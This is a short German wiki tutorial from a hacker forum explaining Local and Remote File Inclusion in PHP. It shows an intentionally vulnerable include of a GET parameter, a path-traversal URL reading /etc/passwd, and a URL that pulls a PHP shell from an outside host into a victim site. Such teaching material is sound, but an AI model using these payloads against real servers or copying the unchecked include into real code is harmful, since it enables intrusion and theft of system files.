LFI & RFI

aus HaBo WiKi, der freien Wissensdatenbank von http://www.hackerboard.de
Wechseln zu: Navigation, Suche

LFI bedeutet "Local File Inclusion" und bezeichnet das Ausnutzen einer Lücke auf einer Internetseite, um somit Daten aufzurufen die lokal auf dem Webserver liegen, z.B. die Datei /etc/passwd. Man kann aber nur Dateien aufrufen, wenn man dafür die richtigen Berechtigungen hat. Ausserdem muss man wissen wo welche Datei auf den Server liegt.

RFI bedeutet "Remote File Inclusion" und bezeichnet das Ausnutzen einer Lücke auf einer Internetseite, in die man Code includiert, der nicht lokal auf dem Webserver abgespeichert ist, sondern überall anders liegen kann.

Hier wird das Grundwissen über LFI & RFI vermittelt. Natürlich kann man noch viel tiefer in diese Materie einsteigen.

Beispiel LFI

Die LFI bzw. auch die RFI Lücke ist im PHP Code im Grunde genommen ein Einzeiler, wenn man von den PHP Tags absieht:

<?php
include($_GET['url']);
?>

In diesem Beispiel wird der GET Parameter url includiert. Hieße unsere PHP Datei also in diesem Fall vuln.php und befände sich auf dem localhost, dann wäre ein möglicher Aufruf also:

http://127.0.0.1/vuln.php?url=index.php

Es wird also nun die index.php Datei geladen, sofern sie existiert. In dem PHP Script wird jedoch der Wert der GET Variablen nicht überprüft, sodass sich auch jeder andere Pfad nutzen lassen kann. Pfade zurückzugehen ist ja kein Problem, also testet man auf einer Linux Maschine folgendes:

http://127.0.0.1/vuln.php?url=../../../../../../../../etc/passwd

Zu beachten ist das ../ dafür steht das ein Verzeichnis zurück gegangen wird. Also werden hier im Beispiel 8 Verzeichnise zurückgesprungen und dann ins /etc-Verzeichnis, um dort die passwd Datei zu öffnen.

Beispiel RFI

Der PHP Code, der oben steht, gilt auch für RFI. Nur das auf den Webserver folgendes Einstellungen getroffen sein müssen:

allow_url_fopen = on
allow_url_include = on 

Hat man also z.B. eine PHP Shell auf

http://example.net/shell.txt

liegen, kann man den wie folgt auf die Victim Site includen:

http://127.0.0.1/vuln.php?url=http://example.net/shell.txt

Und schon ist die shell.txt auf den Webserver included!

-- Freak_out 03.01.2009 13:24

Computer Forum
Computer Forum
Meine Werkzeuge
Namensräume
Varianten
Aktionen
Navigation
Werkzeuge